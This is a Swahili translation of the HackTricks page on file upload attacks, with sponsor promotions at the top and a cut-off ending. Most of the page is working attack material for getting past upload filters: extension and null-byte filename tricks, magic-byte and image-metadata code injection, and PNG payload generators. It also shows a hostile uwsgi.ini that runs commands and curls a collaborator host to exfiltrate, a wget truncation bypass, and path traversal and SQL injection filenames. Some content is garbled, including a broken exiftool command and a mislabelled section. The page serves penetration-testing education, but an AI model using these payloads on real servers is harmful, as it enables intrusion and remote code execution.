# Kupakia Faili
Jifunze AWS hacking kutoka sifuri hadi shujaa nahtARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo yasiyohack - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
{% embed url="https://www.stmcyber.com/careers" %}
## Mbinu Mkuu ya Kupakia Faili
Vifaa vingine vya kupendeza:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Kufanya kazi katika PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
### Kupita vikwazo vya viendelezi vya faili
1. Ikiwa wanatumia, **angalia** **viendelezi** **vilivyopita.** Jaribu pia kuvitumia kwa herufi **kubwa**: _pHp, .pHP5, .PhAr ..._
2. _Angalia **kuongeza kielezo halali kabla** ya kielezi cha utekelezaji (tumia viendelezi vilivyopita pia):_
* _faili.png.php_
* _faili.png.Php5_
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp kufanya **bruteforce** kwa herufi zote za **ascii** na **Unicode**. (_Tambua kwamba unaweza pia kujaribu kutumia **viendelezi vilivyotajwa hapo awali**_)
* _faili.php%20_
* _faili.php%0a_
* _faili.php%00_
* _faili.php%0d%0a_
* _faili.php/_
* _faili.php.\\_
* _faili._
* _faili.php...._
* _faili.pHp5...._
4. Jaribu kupita vikwazo **kudanganya kipambatisho cha kielezi** cha upande wa seva na mbinu kama **kuambatanisha** **kielezi** au **kuongeza takataka** (herufi za **null**) kati ya viendelezi. _Unaweza pia kutumia **viendelezi vilivyopita** kuandaa mzigo bora._
* _faili.png.php_
* _faili.png.pHp5_
* _faili.php#.png_
* _faili.php%00.png_
* _faili.php\x00.png_
* _faili.php%0a.png_
* _faili.php%0d%0a.png_
* _faili.phpJunk123png_
5. Ongeza **safu nyingine ya viendelezi** kwa ukaguzi uliopita:
* _faili.png.jpg.php_
* _faili.php%00.png%00.jpg_
6. Jaribu kuweka **kielezi cha utekelezaji kabla ya kielezi halali** na omba ili seva iwe na hitilafu. (inayoweza kutumika kudanganya misconfigurations ya Apache ambapo chochote chenye kielezi cha utekelezaji\*\* _**.php**_**, lakini** sio lazima iishie katika .php\*\* itatekeleza kanuni):
* _kwa mfano: faili.php.png_
7. Kutumia **mtiririko wa data mbadala wa NTFS (ADS)** katika **Windows**. Katika kesi hii, herufi ya mkato “:” itaingizwa baada ya kielezi kilichozuiliwa na kabla ya kielezi kinachoruhusiwa. Kama matokeo, faili tupu yenye kielezi kilichozuiliwa itaundwa kwenye seva (k.m. “faili.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu zingine kama kutumia jina lake fupi. Mtindo wa “**::$data**” pia unaweza kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza kipande baada ya mtindo huu kunaweza kuwa na manufaa kwa kupita vikwazo zaidi (.k.m. “faili.asp::$data.”)
8. Jaribu kuvunja mipaka ya jina la faili. Kielezi halali kinakatwa. Na PHP yenye nia mbaya inabaki. AAA<--SNIP-->AAA.php
```
# Linux kiwango cha juu 255 herufi
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # punguza 4 hapa na ongeza .png
# Pakia faili na angalia jibu inavyoruhusu herufi ngapi. Hebu sema 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Unda mzigo
AAA<--SNIP 232 A-->AAA.php.png
```
### Kupita kwa Aina ya Yaliyomo, Nambari ya Ajabu, Ufupishaji & Upimaji
* Pita kwa **Aina ya Yaliyomo** kwa kuweka **thamani** ya **kichwa cha Aina ya Yaliyomo** kuwa: _picha/png_, _maandishi/rahisi, maombi/octet-stream_
1. Orodha ya maneno ya Aina ya Yaliyomo: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Pita kwa ukaguzi wa **nambari ya ajabu** kwa kuongeza mwanzoni mwa faili **baiti za picha halisi** (kuchanganya amri ya _file_). Au weka kabati ndani ya **metadata**:\
`exiftool -Comment="' >> img.png`
* Ikiwa **ufupishaji unawekwa kwenye picha yako**, kwa mfano kutumia maktaba za PHP za kawaida kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Walakini, unaweza kutumia **kitengo cha PLTE** [**mbinu iliyoelezwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yata **kupita kwa ufupishaji**.
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Ukurasa wa wavuti unaweza pia kuwa unafanya **upimaji** wa **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Walakini, unaweza kutumia **kitengo cha IDAT** [**mtego uliofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yata **kupita kwa ufupishaji**.
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Mbinu nyingine ya kufanya mzigo ambao **utapita upimaji wa picha**, kutumia kazi ya PHP-GD `thumbnailImage`. Walakini, unaweza kutumia **kitengo cha tEXt** [**mtego uliofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yata **kupita kwa ufupishaji**.
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Mbinu Nyingine za Kukagua
* Tafuta udhaifu wa **kubadilisha jina** la faili tayari iliyopakiwa (kubadilisha kificho).
* Tafuta udhaifu wa **Ujumuishaji wa Faili za Lokali** kutekeleza mlango wa nyuma.
* **Ufunuo wa Taarifa Inayowezekana**:
1. Pakia **mara kadhaa** (na **wakati huo huo**) **faili ile ile** na **jina moja**
2. Pakia faili na **jina** la **faili** au **folda** ambayo **tayari ipo**
3. Pakia faili na **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache kwenye **Windows**, ikiwa programu inahifadhi faili zilizopakiwa kwenye saraka ya “/www/uploads/”, jina la faili “.” litasababisha faili iitwayo “uploads” katika saraka ya “/www/”.
4. Pakia faili ambayo huenda ikafutwa kwa urahisi kama vile **“…:.jpg”** katika **NTFS**. (Windows)
5. Pakia faili katika **Windows** yenye **herufi zisizofaa** kama vile `|<>*?”` katika jina lake. (Windows)
6. Pakia faili katika **Windows** ukitumia **majina yaliyohifadhiwa** (**yaliyokatazwa**) kama vile CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
* Jaribu pia **kupakia faili inayoweza kutekelezwa** (.exe) au **.html** (isiyo ya shaka) ambayo **itaendesha kificho** wakati inafunguliwa kimakosa na muathiriwa.
### Mbinu Maalum za Ugani
Ikiwa unajaribu kupakia faili kwenye **seva ya PHP**, [angalia **mtego wa .htaccess** kutekeleza kificho](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Ikiwa unajaribu kupakia faili kwenye seva ya **ASP**, [angalia **mtego wa .config** kutekeleza kificho](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumiwa kama faili ya php** (kuitekeleza na php, au kuizingatia ndani ya hati...)
Ugani wa `.inc` mara nyingi hutumiwa kwa faili za php ambazo hutumiwa tu **kuagiza faili**, kwa hivyo, kwa wakati fulani, mtu anaweza kuruhusu **ugani huu kutekelezwa**.
## **uWSGI RCE**
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **faili mpya za \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Kwa hivyo, kama ilivyotajwa kwenye picha ifuatayo, pakia faili ya XML kwa `$JETTY_BASE/webapps/` na tumaini kupata kabati!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
## **uWSGI RCE**
Kwa uchunguzi wa kina wa udhaifu huu, angalia utafiti wa asili: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Udhaifu wa Utekelezaji wa Amri kwa Mbali (RCE) unaweza kutumiwa kwenye seva za uWSGI ikiwa mtu ana uwezo wa kurekebisha faili ya usanidi ya `.ini`. Faili za usanidi za uWSGI hutumia sintaksia maalum kuingiza "vibambo" vya kichawi, nafasi, na waendeshaji. Hasa, waendeshaji wa '@', hutumiwa kama `@(jina la faili)`, imeundwa kuingiza maudhui ya faili. Kati ya mifumo mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni hasa wenye nguvu, kuruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kubadilishwa kwa madhumuni mabaya kama Utekelezaji wa Amri kwa Mbali au Uandishi/Soma wa Faili wa Kiholela wakati faili ya usanidi ya `.ini` inashughulikiwa.
Zingatia mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mifumo mbalimbali:
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Utekelezaji wa mzigo unatokea wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kutekelezwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya kushindwa au kutokana na shambulio la Kukataa Huduma) au faili lazima iwekwe kwa ajili ya kujipakia moja kwa moja. Kipengele cha kujipakia moja kwa moja, ikiwa kimeanzishwa, kinajipakia upya faili kwa vipindi vilivyowekwa baada ya kugundua mabadiliko.
Ni muhimu kuelewa asili ya kulegea kwa uchambuzi wa faili ya usanidi wa uWSGI. Hasa, mzigo uliojadiliwa unaweza kuingizwa katika faili ya binary (kama picha au PDF), hivyo kueneza wigo wa unyanyasaji wa uwezekano.
## **Mbinu ya Kupakia Faili/Trick ya SSRF ya wget**
Katika baadhi ya matukio unaweza kugundua kuwa server inatumia **`wget`** kwa **kupakua faili** na unaweza **kuashiria** **URL**. Katika visa hivi, nambari inaweza kuwa inachunguza kwamba kificho cha faili zilizopakuliwa iko ndani ya orodha nyeupe ili kuhakikisha kuwa faili zinazoruhusiwa tu ndizo zitakazopakuliwa. Hata hivyo, **uchunguzi huu unaweza kudukuliwa.**\
**Urefu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** hukata majina ya faili hadi wahusika **236**. Unaweza **kupakua faili iliyoitwa "A"\*232+".php"+".gif"**, jina hili la faili litapita **uchunguzi** (kama katika mfano huu **".gif"** ni kielezo **sahihi**) lakini `wget` ita **badilisha** jina la faili kuwa **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Tafadhali elewa kwamba **chaguo lingine** unaloweza kufikiria kwa kuzingira ukaguzi huu ni kufanya **seva ya HTTP ielekeze kwa faili tofauti**, hivyo URL ya awali itapita ukaguzi kisha wget itadownload faili iliyeelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameter** `--trust-server-names` kwa sababu **wget itadownload ukurasa ulioelekezwa kwa jina la faili iliyotajwa kwenye URL ya awali**.
## Zana
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia njia mbalimbali za tuzo za mdudu kusahilisha mchakato wa kutambua na kutumia udhaifu, ikisimamia tathmini kamili ya maombi ya wavuti.
## Kutoka kwa kupakia faili hadi udhaifu mwingine
* Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **kuvuka njia**
* Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa **SQL injection**
* Weka **jina la faili** kuwa `